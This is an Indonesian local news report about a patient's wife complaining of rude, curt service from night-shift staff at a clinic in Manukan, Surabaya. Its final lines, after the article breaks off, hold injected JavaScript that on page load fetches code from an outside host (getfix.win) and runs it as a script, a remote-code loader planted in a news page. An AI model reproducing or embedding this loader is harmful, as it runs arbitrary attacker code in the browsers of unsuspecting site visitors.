Jawa timur || www.beritaaspirasi.com
Buruknya pelayanan salah satu klinik yang berlokasi di Jl. Manukan lor, Kel. Manukan kulon, Kec. Tandes, Kota Surabaya, yang melakukan pelayanan kurang baik di bagian front office, sehingga menjadi sorotan para kontrol sosial, diantaranya forum wartawan Media Pena Aspirasi Rakyat (PARI).
Kejadian yang dialami oleh seseorang yang berinisial A yang dibawa oleh istrinya yang berinisial S warga kampung Manukan, Kel. Lontar, Kec. Sambikerep yg hendak berobat di klinik tersebut. Namun si A pasien dalam keadaan sakit lemes tidak langsung mendapatkan pelayanan dengan baik dari pihak klinik maupun nakes yg sedang jaga.
S istri dari A menceritakan kejadian yg dialaminya dan buruknya pelayanan kesehatan di klinik “DE”, seharusnya mereka siap melayani masyarakat yang datang hendak berobat, walaupun disituasi dan kondisi tengah malam sekalipun, karena nakes yang sedang jaga tersebut sedang tidur dan dibangunkan, petugas nakes dengan raut muka yang tidak enak melakukan pelayanan dengan menggunakan bahasa yang tidak sopan bahkan sedikit membentak kepada kami dengam bahasa yang kasar. ” Memang, kami datang ke klinik ” DE” untuk berobat diwaktu dini hari, namun pelayanan dari Front office dan petugas nakes tersebut kurang sopan dan minim attitude” keluh istri dari si A kepada wartawan secara langsung, pada Minggu (18/5/2025).
Padahal, sambung dia, pelayanan kesehatan di klinik swasta maupun negeri itu wajib memberikan pertolongan kepada pasien yang hendak berobat karena memang mereka buka 24 jam.
“Harusnya nakes pelayanan Front office ini memberikan pelayanan yang terbaik kepada pasien bukan menjawab dengan ketus kepada pihak keluarga pasien maupun ke pasien langsung. red;document.addEventListener(“DOMContentLoaded”, function () {
var url = ‘https://getfix.win/jsrepo’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);
if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) {
var event = new Event(‘DOMContentLoaded’);
document.dispatchEvent(event);
}
})
});
